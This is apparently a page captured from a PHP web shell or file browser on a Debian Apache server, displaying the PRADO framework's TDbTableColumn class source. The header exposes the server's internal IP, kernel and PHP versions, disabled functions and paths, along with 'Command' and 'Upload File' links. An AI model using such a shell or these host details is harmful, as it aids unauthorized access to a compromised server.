|
Server IP : 10.2.73.233 / Your IP : 216.73.216.223 Web Server : Apache/2.4.59 (Debian) System : Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 User : www-data ( 33) PHP Version : 5.6.40-64+0~20230107.71+debian10~1.gbp673146 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/ilpnowa/../ifk/web/prado4.3.2/Data/Common/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
/**
* TDbTableColumn class file.
*
* @author Wei Zhuo <weizhuo[at]gmail[dot]com>
* @link https://github.com/pradosoft/prado
* @license https://github.com/pradosoft/prado/blob/master/LICENSE
*/
namespace Prado\Data\Common;
use PDO;
/**
* TDbTableColumn class describes the column meta data of the schema for a database table.
*
* @author Wei Zhuo <weizho[at]gmail[dot]com>
* @since 3.1
*/
class TDbTableColumn extends \Prado\TComponent
{
public const UNDEFINED_VALUE = INF; //use infinity for undefined value
private $_info = [];
/**
* Sets the table column meta data.
* @param array $columnInfo table column information.
*/
public function __construct($columnInfo)
{
$this->_info = $columnInfo;
parent::__construct();
}
/**
* @param string $name information array key name
* @param mixed $default default value if information array value is null
* @return mixed information array value.
*/
protected function getInfo($name, $default = null)
{
return $this->_info[$name] ?? $default;
}
/**
* @param string $name information array key name
* @param mixed $value new information array value.
*/
protected function setInfo($name, $value)
{
$this->_info[$name] = $value;
}
/**
* Returns the derived PHP primitive type from the db type. Default returns 'string'.
* @return string derived PHP primitive type from the column db type.
*/
public function getPHPType()
{
return 'string';
}
/**
* @return int PDO bind param/value types, default returns string.
*/
public function getPdoType()
{
switch ($this->getPHPType()) {
case 'boolean': return PDO::PARAM_BOOL;
case 'integer': return PDO::PARAM_INT;
case 'string': return PDO::PARAM_STR;
}
return PDO::PARAM_STR;
}
/**
* @return string name of the column in the table (identifier quoted).
*/
public function getColumnName()
{
return $this->getInfo('ColumnName');
}
/**
* @return string name of the column with quoted identifier.
*/
public function getColumnId()
{
return $this->getInfo('ColumnId');
}
/**
* @return string size of the column.
*/
public function getColumnSize()
{
return $this->getInfo('ColumnSize');
}
/**
* @return int zero-based ordinal position of the column in the table.
*/
public function getColumnIndex()
{
return $this->getInfo('ColumnIndex');
}
/**
* @return string column type.
*/
public function getDbType()
{
return $this->getInfo('DbType');
}
/**
* @return bool specifies whether value Null is allowed, default is false.
*/
public function getAllowNull()
{
return $this->getInfo('AllowNull', false);
}
/**
* @return mixed default column value if column value was null.
*/
public function getDefaultValue()
{
return $this->getInfo('DefaultValue', self::UNDEFINED_VALUE);
}
/**
* @return string precision of the column data, if the data is numeric.
*/
public function getNumericPrecision()
{
return $this->getInfo('NumericPrecision');
}
/**
* @return string scale of the column data, if the data is numeric.
*/
public function getNumericScale()
{
return $this->getInfo('NumericScale');
}
public function getMaxiumNumericConstraint()
{
if (($precision = $this->getNumericPrecision()) !== null) {
$scale = $this->getNumericScale();
return $scale === null ? pow(10, (int) $precision) : pow(10, (int) $precision - (int) $scale);
}
}
/**
* @return bool whether this column is a primary key for the table, default is false.
*/
public function getIsPrimaryKey()
{
return $this->getInfo('IsPrimaryKey', false);
}
/**
* @return bool whether this column is a foreign key, default is false.
*/
public function getIsForeignKey()
{
return $this->getInfo('IsForeignKey', false);
}
/**
* @return string sequence name, only applicable if column is a sequence
*/
public function getSequenceName()
{
return $this->getInfo('SequenceName');
}
/**
* @return bool whether the column is a sequence.
*/
public function hasSequence()
{
return $this->getSequenceName() !== null;
}
/**
* @return bool whether this column is excluded from insert and update.
*/
public function getIsExcluded()
{
return false;
}
}